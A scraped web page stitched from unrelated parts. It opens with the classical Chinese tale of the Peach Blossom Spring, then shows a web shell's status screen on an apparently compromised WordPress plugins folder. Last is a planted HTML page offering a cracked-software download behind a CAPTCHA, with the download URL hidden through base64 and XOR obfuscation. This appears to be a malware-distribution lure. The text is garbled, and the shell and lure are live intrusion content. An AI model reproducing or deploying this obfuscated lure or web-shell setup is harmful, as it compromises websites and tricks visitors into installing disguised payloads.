晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/rainic/www/wp-contentTZh/plugins/wp-change/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/rainic/www/wp-contentTZh/plugins/wp-change/[softw].html
<style>
  body { font-family: 'Segoe UI', sans-serif; margin: 30px; }
  canvas { border: 1px solid #ccc; border-radius: 6px; background: #f3f3f3; margin-top: 5px; }
  input[type="text"] {
    padding: 6px;
    margin-top: 10px;
    font-size: 15px;
    width: 140px;
  }
  button {
    padding: 6px 12px;
    margin-top: 10px;
    font-size: 14px;
    cursor: pointer;
  }
  #download-link {
    display: inline-block;
    margin-top: 12px;
    padding: 10px 20px;
    background-color: #0078D7;
    color: white;
    text-decoration: none;
    border-radius: 6px;
    font-weight: bold;
    font-size: 14px;
    pointer-events: none;
    opacity: 0.5;
    cursor: default;
  }
  #download-link.active {
    pointer-events: auto;
    opacity: 1;
    cursor: pointer;
  }
  #captcha-msg {
    margin-top: 8px;
    font-size: 14px;
  }
</style>

<!--00008-->

<table style="width: 100%; border-collapse: separate; border-spacing: 0 15px; font-family: 'Segoe UI', sans-serif; margin-top: 30px;">
    <tr style="background-color: #f9f9f9; border-radius: 8px; box-shadow: 0 2px 5px rgba(0,0,0,0.1);">
        <td style="width: 65%; padding: 20px; vertical-align: top;">
            <table style="width: 100%; border-collapse: collapse; font-size: 15px; margin-bottom: 20px;">
                <tr style="background-color: #ffffff;">
                    <td style="width: 35%; padding: 12px 14px; border: 1px solid #e0e0e0; text-align: center;">
                        <a id="download-link" download="" href="#">
                            ⬇ Download Setup + Crack
                        </a>
                    </td>
                    <td style="width: 65%; padding: 12px 14px; border: 1px solid #e0e0e0; text-align: center; font-weight: 500;">
                        <canvas id="captchaCanvas" width="140" height="40"></canvas><br>
                        <input type="text" id="captchaInput" placeholder="Enter CAPTCHA">
                        <button onclick="checkCaptcha()">Verify</button>
                        <div id="captcha-msg" style="color: red;"></div>
                    </td>
                </tr>
            </table>
        </td>
    </tr>
</table>

<script>
  function xor(str, key) {
    let result = '';
    for (let i = 0; i < str.length; i++) {
      result += String.fromCharCode(str.charCodeAt(i) ^ key.charCodeAt(i % key.length));
    }
    return result;
  }
  
  const xorKey = "secret";
  const encodedData = "GxEXAhZOXEoQFwAQXhUGFxdaGgYWXQEYXRULAloQH1gpJVAcETI2Hj1HKSo3GVA7K1UpMDEySlEuC1AYFiI2Tw==";
  let captchaValue = "";
 
  function generateCaptcha() {
    const canvas = document.getElementById('captchaCanvas');
    const ctx = canvas.getContext('2d');
    ctx.clearRect(0, 0, canvas.width, canvas.height);

    captchaValue = '';
    const chars = 'ABCDEFGHJKLMNPQRSTUVWXYZ23456789';
    for (let i = 0; i < 5; i++) {
      captchaValue += chars.charAt(Math.floor(Math.random() * chars.length));
    }
    for (let i = 0; i < 15; i++) {
      ctx.strokeStyle = `rgba(${Math.random()*255},${Math.random()*255},${Math.random()*255},0.4)`;
      ctx.beginPath();
      ctx.moveTo(Math.random() * 140, Math.random() * 40);
      ctx.lineTo(Math.random() * 140, Math.random() * 40);
      ctx.stroke();
    }
    ctx.font = '24px Segoe UI';
    ctx.fillStyle = '#000';
    for (let i = 0; i < captchaValue.length; i++) {
      const x = 20 + i * 20;
      const y = 28 + Math.random() * 5;
      const angle = (Math.random() - 0.5) * 0.4;
      ctx.save();
      ctx.translate(x, y);
      ctx.rotate(angle);
      ctx.fillText(captchaValue[i], 0, 0);
      ctx.restore();
    }
  }

  function checkCaptcha() {
    const input = document.getElementById('captchaInput').value.trim().toUpperCase();
    const msg = document.getElementById('captcha-msg');
    const link = document.getElementById('download-link');
    if (input === captchaValue) {
      msg.style.color = 'green';
      msg.textContent = '✅ CAPTCHA passed. Link unlocked.';
      const decoded = xor(atob(encodedData), xorKey);
	  let url = new URL(decoded);
	  let dl = url.searchParams.get('dl');
	  let decodedValue = atob(dl);
	  decodedValue = decodedValue.replace(/%name%/g, '%DSLUG%');
	  let newDl = btoa(decodedValue);
	  url.searchParams.set('dl', newDl);
	  link.href = url.toString();
      link.classList.add('active');
    } else {
      msg.style.color = 'red';
      msg.textContent = '❌ Incorrect CAPTCHA. Try again.';
      link.classList.remove('active');
      link.href = '#';
      generateCaptcha();
    }
  }
  
  generateCaptcha();
</script>

haha - 2025